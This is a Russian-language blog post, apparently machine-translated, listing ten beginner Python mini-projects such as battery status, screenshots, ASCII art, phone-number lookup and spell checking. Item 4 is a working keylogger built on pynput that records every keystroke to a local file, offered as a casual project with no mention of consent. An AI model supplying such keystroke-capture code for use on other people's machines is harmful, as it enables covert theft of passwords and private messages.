Самые лучшие коды / мини-проекты на языке python


1. Получение процента заряда батареи ноутбука с помощью Python

# python script showing battery details
import psutil

# function returning time in hh:mm:ss
def convertTime(seconds):
    minutes, seconds = divmod(seconds, 60)
    hours, minutes = divmod(minutes, 60)
    return "%d:%02d:%02d" % (hours, minutes, seconds)

# returns a tuple
battery = psutil.sensors_battery()

print("Battery percentage : ", battery.percent)
print("Power plugged in : ", battery.power_plugged)

# converting seconds to hh:mm:ss
print("Battery left : ", convertTime(battery.secsleft))
Вход в полноэкранный режим Выйти из полноэкранного режима

Требования

pip install psutil
Войти в полноэкранный режим Выход из полноэкранного режима

Установка psutil в Linux

sudo apt-get install gcc python3-dev

sudo pip3 install psutil
Войти в полноэкранный режим Выйдите из полноэкранного режима

2. Получение информации о системе с помощью Python

import platform
print(f"Node: {platform.node()}")
print(f"Plateform: {platform.platform()}")
print(f"System: {platform.system()}")
print(f"Processor: {platform.processor()}")
print(f"Architecture: {platform.architecture()}")
print(f"Version: {platform.version()}")
print(f"Release: {platform.release()}")
Войдите в полноэкранный режим Выйти из полноэкранного режима

3. Сделайте снимок экрана с помощью Python

import pyscreenshot as ImageGrab
import datetime
import time
time.sleep(3)  # tell me why I used delay here...
im = ImageGrab.grab()
im.save("screenshot-" + str(datetime.datetime.now()) + ".png")
im.show()
Войдите в полноэкранный режим Выйти из полноэкранного режима

Требование

pip install pyscreenshot
Войти в полноэкранный режим Выйти из полноэкранного режима

4. Кейлоггер с помощью Python

from pynput.keyboard import Key, Controller,Listener
keyboard = Controller()
keys=[]
def on_press(key):
    global keys
    string = str(key).replace("'","")
    keys.append(string)
    main_string = "".join(keys)
    print(main_string)

    with open('keys.txt', 'a') as f:
        f.write(main_string)   
        keys= []     

def on_release(key):
    if key == Key.esc:
        return False
with Listener(on_press=on_press,on_release=on_release) as listener:
    listener.join()
Вход в полноэкранный режим Выход из полноэкранного режима

Требование

pip install pynput
Вход в полноэкранный режим Выход из полноэкранного режима

5. Преобразование текста в ASCII-изображение

# import pyfiglet module
import pyfiglet

result = pyfiglet.figlet_format("Arpit is sexy")
print(result)
Войти в полноэкранный режим Выйти из полноэкранного режима

Требование

pip install pyfiglet
Войти в полноэкранный режим Выйти из полноэкранного режима

6. Преобразование любого изображения в ASCII-арт

import pywhatkit as kit
kit.image_to_ascii_art("heart.png")
Войти в полноэкранный режим Выйти из полноэкранного режима

Требование

pip install pywhatkit
Войти в полноэкранный режим Выйти из полноэкранного режима

7. Преобразование цветной фотографии в черную

from PIL import Image
img = Image.open("color-to-bw/rdj.jpg")
contobw = img.convert("L")
contobw.save("color-to-bw/rdj-bw.jpg")
contobw.show()
Войдите в полноэкранный режим Выйти из полноэкранного режима

Требование

pip install Pillow
Войти в полноэкранный режим Выйти из полноэкранного режима

8. Получить информацию о номере телефона

import phonenumbers
from phonenumbers import carrier, geocoder, timezone
mobileNo = input("Enter Mobile Number with Country code: ")
mobileNo = phonenumbers.parse(mobileNo)
# get timezone a phone number
print(timezone.time_zones_for_number(mobileNo))
# Getting carrier of a phone number
print(carrier.name_for_number(mobileNo, "en"))
# Getting region information
print(geocoder.description_for_number(mobileNo, "en"))
# Validating a phone number
print(phonenumbers.is_valid_number(mobileNo))
# Checking possibility of a number
print(phonenumbers.is_possible_number(mobileNo))
Войти в полноэкранный режим Выйти из полноэкранного режима

Требование

pip install phonenumbers
Войти в полноэкранный режим Выйти из полноэкранного режима

9. Генератор случайных статей Википедии

import requests
from bs4 import BeautifulSoup
import webbrowser

while True:
    url = requests.get("https://en.wikipedia.org/wiki/Special:Random")
    soup = BeautifulSoup(url.content, "html.parser")
    title = soup.find(class_="firstHeading").text

    print(f"{title} nDo you want to view it? (Y/N)")
    ans = input("").lower()

    if ans == "y":
        url = "https://en.wikipedia.org/wiki/%s" % title
        webbrowser.open(url)
        break
    elif ans == "n":
        print("Try again!")
        continue
    else:
        print("Wrong choice!")
        break
Войти в полноэкранный режим Выйти из полноэкранного режима

Требования

pip install beautifulsoup4
pip install requests
Войти в полноэкранный режим Выйти из полноэкранного режима

10. Проверка орфографии

from textblob import TextBlob 

a = "comuter progrming is gret"
print("original text: "+str(a)) 

b = TextBlob(a) 
print("corrected text: "+str(b.correct()))  
Войти в полноэкранный режим Выйти из полноэкранного режима

Требование

pip install textblob
Войти в полноэкранный режим Выйти из полноэкранного режима

Счастливого кодинга 🙂

Следуйте за мной в Twitter @awwarpit

Оцените статью
Procodings.ru
Добавить комментарий